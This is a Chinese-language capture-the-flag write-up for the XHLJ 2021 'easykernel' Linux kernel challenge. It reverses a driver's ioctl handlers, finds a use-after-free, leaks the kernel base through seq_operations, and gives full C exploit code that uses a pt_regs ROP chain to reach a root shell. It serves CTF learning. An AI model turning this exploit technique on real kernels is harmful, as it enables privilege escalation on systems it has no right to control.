XHLJ 2021-easykernel - writeup

Author : 堇姬 Naup

analyze

一樣的題目給了三個文件

1
2
3
4
5
naup96321@naup96321-virtual-machine:~/Desktop/ekernel$ tree
.
├── bzImage
├── rootfs.img.gz
└── start.sh

先解包 file system

1
2
3
mkdir -p sysfile
gunzip rootfs.img.gz
cpio -idmv -D sysfile < rootfs.img

順便寫 pack.sh 打包

1
find . | cpio -o --format=newc > ../rootfs.img.gz

有開 KPTI、KASLR、SMEP

1
2
3
4
5
/ # dmesg | grep -i "Page Table"
[    0.000000] Kernel/User page tables isolation: enabled

/ # grep -o 'smap\|smep' /proc/cpuinfo | sort -u
smep
1
2
3
4
5
6
7
8
9
10
#!/bin/sh

qemu-system-x86_64  \
	-m 128M \
	-cpu kvm64,+smep \
	-kernel ./bzImage \
	-initrd rootfs.img.gz \
	-nographic \
	-s \
	-append "console=ttyS0 kaslr noapic"

根據 init 可以知道，他會 load test.ko 這個 kernel driver
目標一樣是提權到 root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/sh

mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

insmod /test.ko
chmod 666 /dev/kerpwn
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 0 /bin/sh
#setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /tmp


poweroff -d 0  -f

syscall and pt_regs

syscall 的本質是一種從 user space 切換到 kernel space 的「受控」方法，它允許使用者程式請求作業系統執行特權操作，例如開檔案、讀寫記憶體、建立程序、分配資源等

通過 gate，進到 kernel space 他會去調用 entry_SYSCALL_64
把 register 的值一個一個壓到 kernel stack 上
https://elixir.bootlin.com/linux/v5.8/source/arch/x86/entry/entry_64.S#L94

這東西就會組成一個結構，叫做 pt_regs 實質上位於 kernel stack 最底部
順帶一提，pt_regs 是在高位記憶體的，因為 stack 由高往低長

https://elixir.bootlin.com/linux/v5.8/source/arch/x86/include/uapi/asm/ptrace.h#L44

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
	unsigned long r15;
	unsigned long r14;
	unsigned long r13;
	unsigned long r12;
	unsigned long rbp;
	unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
	unsigned long r11;
	unsigned long r10;
	unsigned long r9;
	unsigned long r8;
	unsigned long rax;
	unsigned long rcx;
	unsigned long rdx;
	unsigned long rsi;
	unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
	unsigned long orig_rax;
/* Return frame for iretq */
	unsigned long rip;
	unsigned long cs;
	unsigned long eflags;
	unsigned long rsp;
	unsigned long ss;
/* top of stack page */
};

總之這是一個連續 8 byte 的記憶體區段
我們在進入 syscall 前實質上是可以控制這段的
只要控制 register 值後 syscall，就可以預先壓入想要寫的值

通過這個結構體 ROP 核心思想就是預先在 userspace 壓上想跑的 ROP
之後控制 RIP 後，將 RIP 跳到 add rsp, val 來搬移 kernel stack 到這塊結構上

cool commit protect pt_regs

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=eea2647e74cd7bd5d04861ce55fa502de165de14

reverse test.ko

根據不同的 ioctl 分成四個功能
這邊看組語比較清楚

show (ioctlcode == 0x40)

ioctl 前三個參數是 fd (rdi), ioctlcode (rsi), args(rdx)
他會比較 ioctlcode 是否等於 0x40

1
2
3
4
5
6
7
8
9
10
11
12
13
push    rbp
mov     r8, rdx
mov     rbp, rsp
push    r14
push    r13
push    r12
push    rbx
sub     rsp, 20h
mov     rax, gs:28h
mov     [rbp-28h], rax
xor     eax, eax
cmp     esi, 40h ; '@'
jz      loc_2C9

如果是就跳至這裡，r8 是 rdx (args)， edx 設為 0x18 (從 userspace copy 的 size)，rdi 是 kernel stack 上的值

1
2
3
4
5
6
7
loc_2C9:
mov     edx, 18h
mov     rsi, r8
lea     rdi, [rbp-40h]
call    _copy_from_user ; PIC mode
test    rax, rax
jnz     short loc_2EF

如果複製成功就跳至這裡 call show
並傳入 rbp - 0x40

1
2
3
4
lea     rdi, [rbp-40h]
call    show
xor     eax, eax
jmp     loc_198

這裡的 rbp - 0x40 是 index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall show(_QWORD *a1)
{
  const void *v1; // rsi
  unsigned __int64 v2; // r13
  __int64 v3; // r14
  _BYTE v5[256]; // [rsp-128h] [rbp-128h] BYREF
  unsigned __int64 v6; // [rsp-28h] [rbp-28h]

  _fentry__();
  v6 = __readgsqword(0x28u);
  memset(v5, 0, sizeof(v5));
  if ( (unsigned int)*a1 > 0x20 )
    return 0xFFFFFFFFLL;
  v1 = (const void *)addrList[(unsigned int)*a1];
  if ( !v1 )
    return 0xFFFFFFFFLL;
  v2 = a1[1];
  v3 = a1[2];
  qmemcpy(v5, v1, sizeof(v5));
  if ( v2 > 0x100 )
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 256, v2);
    BUG();
  }
  _check_object_size(v5, v2, 1LL);
  return copy_to_user(v3, v5, v2) != 0 ? 0xFFFFFFEA : 0;
}

args 根據傳入長度可以先推得，剩下兩個沒使用到
大概率是 size 跟 *buf

1
2
3
4
5
struct args{
	uint64_t index;
	...
	...
}

edit (ioctlcode == 0x50)

若大於 0x40 跳至左邊

1
2
3
4
5
ja      short loc_1B8

loc_1B8:
cmp     esi, 50h ; 'P'
jnz     short loc_196

如果等於 0x50 會進到這個分支，如果不是直接 return
這個分支 edx 是 0x18 (args 長度)
rsi 是 args
rdi 存從 userspace copy 的 args

1
2
3
4
5
6
mov     edx, 18h
mov     rsi, r8
lea     rdi, [rbp-40h]
call    _copy_from_user ; PIC mode
test    rax, rax
jnz     loc_2EF

成功進到這條
他會檢查傳入的第一個是不是小於 0x20
並且第一個傳入會是 rax

1
2
3
mov     rax, [rbp-40h]
cmp     eax, 20h ; ' '
ja      short loc_196

之後會進到這裡，他會去 addrList 搜 pointer
可以推得 rbp - 0x40 上的是 index
r12 存了分配 chunk address

1
2
3
4
mov     eax, eax
mov     r12, ds:addrList[rax*8]
test    r12, r12
jz      short loc_196

之後做
把 args 第二個項目給 r13
第三個項目是 r14

1
2
3
4
mov     r13, [rbp-38h]
mov     r14, [rbp-30h]
cmp     r13, 7FFFFFFFh
ja      loc_2FB

如果成功進到這條
傳入到 void __check_object_size(const void *ptr, unsigned long n, bool to_user);
這裡 rdi 是 r12 是 chunk pointer
rsi 是 r13 是要檢查的 object 大小，所以可以知道第二個是 size

1
2
3
4
5
6
7
8
9
10
xor     edx, edx
mov     rsi, r13
mov     rdi, r12
call    __check_object_size ; PIC mode
mov     rdx, r13
mov     rsi, r14
mov     rdi, r12
call    _copy_from_user ; PIC mode
xor     eax, eax
jmp     loc_198

之後去 copy userspace 的東西到 kernel (r12 這裡是 chunk pointer)
r14 是第三個項目，這裡是 userspace buffer pointer

這裡可以看出，他是 edit chunk
傳入的 args 結構是 (順便說第一個 show 結構跟這個一樣)

1
2
3
4
5
struct args{
	uint64_t index;
	uint64_t size;
	void *buf;
}

alloc (ioctlcode == 0x20)

esi 是 ioctlcode，他會比較是不是 0x20

1
2
3
4
ja      short loc_1B8

cmp     esi, 20h ; ' '
jz      loc_226

rdx 是 0x10
r8 是 args
rdi 是 kernel space stack，把 args copy 進來
注意一下，這裡只 copy 了 0x10，與先前的不一樣

1
2
3
4
5
6
7
loc_226:
mov     edx, 10h
mov     rsi, r8
lea     rdi, [rbp-40h]
call    _copy_from_user ; PIC mode
test    rax, rax
jnz     loc_2EF

rbp - 0x40 是第一個參數
並比較是不是小於 0x20 (size 不可以大於 0x20)
是就繼續往下走
這裡的 rdi 也會放在 kmalloc size 位，esi 是第二個參數，是 kmalloc 分配的 flags，rax 是 kmalloc 回傳值，會給 rbx
所以這裡第一個參數是 size

1
2
3
4
5
6
7
8
9
mov     rdi, [rbp-40h]
cmp     rdi, 20h ; ' '
ja      loc_196

mov     esi, 0CC0h
call    __kmalloc       ; PIC mode
mov     rbx, rax
test    rax, rax
jz      loc_196

r12 是第一個參數
r13 是第二個參數

1
2
3
4
mov     r12, [rbp-40h]
mov     r13, [rbp-38h]
cmp     r12, 7FFFFFFFh
ja      loc_2FB

r12 是 size 已經確定了
rax 是 kmalloc chunk pointer
r13 是從 userspace copy 的 pointer
並把他 copy 到 chunk pointer

1
2
3
4
5
6
7
8
9
10
xor     edx, edx
mov     rsi, r12
mov     rdi, rax
call    __check_object_size ; PIC mode
mov     rdx, r12
mov     rsi, r13
mov     rdi, rbx
call    _copy_from_user ; PIC mode
test    rax, rax
jz      short loc_2AC

省略一下，這裡的 index 是從 0 開始往上加的
最後他會把 pointer 丟進 addrList

1
2
3
mov     ds:addrList[rdx*8], rbx
xor     eax, eax
jmp     loc_198

綜上就可以看出這是一個 malloc，並且第一次順便賦值給 chunk pointer

1
2
3
4
struct args{
	uint64_t size;
	void *buf;
}

free (ioctlcode == 0x30)

這部分不用看組語，直接看 IDA 反編譯結果

1
2
3
4
5
6
7
8
9
10
if ( !copy_from_user(&v12, v2, 8LL) )
{
  if ( (unsigned int)v12 <= 0x20 )
  {
    if ( addrList[(unsigned int)v12] )
      kfree();
  }
  return 0LL;
}
return -22LL;

他會 copy 8 bytes
這 8 bytes 是 index
最後把對應的 chunk pointer free 掉
這裡傳入的結構就是

1
2
3
struct args{
	uint64_t index;
}

這裡有個問題，就是沒有清空原本存在 addrList 的 pointer
導致有 UAF 產生

腳本架構

先把互動腳本寫完

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <stdint.h>
#include <sched.h>
#include <unistd.h>

#define KMALLOC_IOCTL 0x20
#define KFREE_IOCTL 0x30
#define SHOW_IOCTL 0x40
#define EDIT_IOCTL 0x50

int fd_dev;

struct kmalloc_args{
    uint64_t size;
	void *buf;
};

struct kfree_args{
    uint64_t index;
};

struct edit_show_args{
    uint64_t index;
	uint64_t size;
	void *buf;
};

void bind_cpu(int core) {
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

void io_kmalloc(uint64_t size, void *buf){
    struct kmalloc_args n;
    n.size = size;
    n.buf = buf;
    ioctl(fd_dev, KMALLOC_IOCTL, &n);
}

void io_kfree(uint64_t index){
    struct kfree_args n;
    n.index = index;
    ioctl(fd_dev, KFREE_IOCTL, &n);
}

void io_show(uint64_t index, uint64_t size, void *buf){
    struct edit_show_args n;
    n.index = index;
    n.size = size;
    n.buf = buf;
    ioctl(fd_dev, SHOW_IOCTL, &n);
}

void io_edit(uint64_t index, uint64_t size, void *buf){
    struct edit_show_args n;
    n.index = index;
    n.size = size;
    n.buf = buf;
    ioctl(fd_dev, EDIT_IOCTL, &n);
}

int main(){
    bind_cpu(0);
    int fd_dev = open("/dev/kerpwn", O_RDWR);
    if (fd_dev < 0){
        printf("[x] Failed to open device !");
    }

    return 0;
}

利用

先 leak kernel base
先 kmalloc 一塊 0x20 大小的 chunk，他會從 memory pool kmalloc-32 中拿出一塊 object 來用
之後把他 free 掉
這樣就會有一個 addrList 中有指向已經被 free 掉的 pointer 了
接下來去 open /proc/self/stat
他會從 kmalloc-32 拿出一塊分配給 seq_operation

1
2
3
4
5
6
struct seq_operations {
  void * (*start) (struct seq_file *m, loff_t *pos);
  void (*stop) (struct seq_file *m, void *v);
  void * (*next) (struct seq_file *m, void *v, loff_t *pos);
  int (*show) (struct seq_file *m, void *v);

他是一個 vtable，上面有許多 kernel function pointer
通過他可以用來 leak kernel base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <stdint.h>
#include <sched.h>
#include <unistd.h>

#define KMALLOC_IOCTL 0x20
#define KFREE_IOCTL 0x30
#define SHOW_IOCTL 0x40
#define EDIT_IOCTL 0x50

int fd_dev;
uint64_t kernelbase = 0;

struct kmalloc_args{
    uint64_t size;
	void *buf;
};

struct kfree_args{
    uint64_t index;
};

struct edit_show_args{
    uint64_t index;
	uint64_t size;
	void *buf;
};

void bind_cpu(int core) {
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

void io_kmalloc(uint64_t size, void *buf){
    struct kmalloc_args n;
    n.size = size;
    n.buf = buf;
    ioctl(fd_dev, KMALLOC_IOCTL, &n);
}

void io_kfree(uint64_t index){
    struct kfree_args n;
    n.index = index;
    ioctl(fd_dev, KFREE_IOCTL, &n);
}

void io_show(uint64_t index, uint64_t size, void *buf){
    struct edit_show_args n;
    n.index = index;
    n.size = size;
    n.buf = buf;
    ioctl(fd_dev, SHOW_IOCTL, &n);
}

void io_edit(uint64_t index, uint64_t size, void *buf){
    struct edit_show_args n;
    n.index = index;
    n.size = size;
    n.buf = buf;
    ioctl(fd_dev, EDIT_IOCTL, &n);
}

uint64_t buf1[0x100];

int main(){
    bind_cpu(0);
    fd_dev = open("/dev/kerpwn", O_RDWR);
    if (fd_dev < 0){
        printf("[x] Failed to open device !\n");
    } else {
        printf("[+] Success open /dev/kerpwn\n");
    }

    printf("[+] Start leak kernel address \n");
    io_kmalloc(0x20, buf1); // index 0
    io_kfree(0);

    int fd_seq = open("/proc/self/stat", O_RDONLY);
    io_show(0, 0x20, buf1);
    printf("[!] Kernel address : 0x%lx\n", buf1[0]);
    kernelbase = buf1[0] - 0x319d30;

    printf("[!] Kernel base : 0x%lx\n", kernelbase);

    return 0;
}

接下來來找一些 gadget 來用
我們打算通過 commits_cred(init_cred()); 提權
這邊構造

1
2
3
4
pop_rdi
init_cred
commits_cred
swapgs_restore_regs_and_return_to_usermode

之後去算 offset 看 rsp 要搬多少

https://elixir.bootlin.com/linux/v5.19/source/fs/seq_file.c#L171
當我們去修改 seq_operations 的 start
他會去 call rax 時，上面原本的 pointer 被你改成了 0xaabbccdd
所以會 crash，代表我們控制到 RIP

另外可以看到 rsp+0x198 上長這樣
代表上面是我們寫上去的 gadget
只要把 rsp 搬到這就可以執行 ROP

如果用這條 gadget
add rsp, 0x190; pop rbx; pop r12; pop rbp; ret;

他會剛好落在 r14 跑 ROP
所以從 r14 開始寫 ROP gadget

另外我們要跳上去 swapgs_restore_regs_and_return_to_usermode
需要 stack 有 

1
2
3
4
5
6
7
dummy
dummy
rip
cs
rflag
rsp
ss

剛好 kernel stack 這塊緊接著之前堆 ROP 的位置
另外這個 function 前面剛好有一堆 pop
所以要剛好 pop 到第一個 dummy 前，計算一下要多 pop 9 次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pop     r15             ; Alternative name is '__irqentry_text_end'
pop     r14
pop     r13
pop     r12
pop     rbp 
pop     rbx < 跳到這 (+0x9)
pop     r11
pop     r10
pop     r9
pop     r8
pop     rax
pop     rcx
pop     rdx
pop     rsi

詳細 stack 狀況可以看這個

總之跳上去後返回 usermode 就可以 get root shell 了

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <stddef.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <stdint.h>
#include <sched.h>
#include <unistd.h>

// gcc exploit.c -o exp --static -masm=intel -g

#define KMALLOC_IOCTL 0x20
#define KFREE_IOCTL 0x30
#define SHOW_IOCTL 0x40
#define EDIT_IOCTL 0x50

int fd_dev;
int fd_seq;
uint64_t kernelbase = 0;

struct kmalloc_args{
    uint64_t size;
	void *buf;
};

struct kfree_args{
    uint64_t index;
};

struct edit_show_args{
    uint64_t index;
	uint64_t size;
	void *buf;
};

void bind_cpu(int core) {
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

void io_kmalloc(uint64_t size, void *buf){
    struct kmalloc_args n;
    n.size = size;
    n.buf = buf;
    ioctl(fd_dev, KMALLOC_IOCTL, &n);
}

void io_kfree(uint64_t index){
    struct kfree_args n;
    n.index = index;
    ioctl(fd_dev, KFREE_IOCTL, &n);
}

void io_show(uint64_t index, uint64_t size, void *buf){
    struct edit_show_args n;
    n.index = index;
    n.size = size;
    n.buf = buf;
    ioctl(fd_dev, SHOW_IOCTL, &n);
}

void io_edit(uint64_t index, uint64_t size, void *buf){
    struct edit_show_args n;
    n.index = index;
    n.size = size;
    n.buf = buf;
    ioctl(fd_dev, EDIT_IOCTL, &n);
}

void get_shell(){
    if (getuid() == 0){
        printf("[!] Get Root\n");
        system("/bin/sh");
    }else {
        printf("[x] Failed EoP\n");
    }
}
uint64_t buf1[0x100];
uint64_t buf2[0x20] = {0};
uint64_t pop_rdi;
uint64_t init_cred;
uint64_t commit_cred;
uint64_t swapgs_restore_regs_and_return_to_usermode;
uint64_t add_rsp_gadget;

int main(){
    bind_cpu(0);
    fd_dev = open("/dev/kerpwn", O_RDWR);
    if (fd_dev < 0){
        printf("[x] Failed to open device !\n");
    } else {
        printf("[+] Success open /dev/kerpwn\n");
    }

    printf("[+] Start leak kernel address \n");
    io_kmalloc(0x20, buf1); // index 0
    io_kfree(0);

    fd_seq = open("/proc/self/stat", O_RDONLY);
    io_show(0, 0x20, buf1);
    printf("[!] Kernel address : 0x%lx\n", buf1[0]);
    kernelbase = buf1[0] - 0x319d30;

    printf("[!] Kernel base : 0x%lx\n", kernelbase);

    // 0xffffffff81b1a9ad: pop rdi; ret;
    // 0xffffffff810b2802: add rsp, 0x190; pop rbx; pop r12; pop rbp; ret;
    pop_rdi = kernelbase + 0xb1a9ad;
    init_cred = kernelbase + 0x1663300;
    commit_cred = kernelbase + 0xc8d40;
    swapgs_restore_regs_and_return_to_usermode = kernelbase + 0xc00f30 + 0x9;
    add_rsp_gadget = kernelbase + 0xb2802;

    printf("[+] Try to EoP\n");
    buf2[0] = add_rsp_gadget;
    io_edit(0, 0x20, buf2);


    asm volatile(
        "mov r15,   0xbeefdead;"
        "mov r14,   pop_rdi;" //
        "mov r13,   init_cred;"
        "mov r12,   commit_cred;"
        "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    0x88888888;"
        "mov r8,    0x99999999;"
        "xor rax,   rax;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   8;"
        "mov rsi,   rsp;"
        "mov rdi,   fd_seq;"  
        "syscall"
    );

    get_shell();

    return 0;
}

demo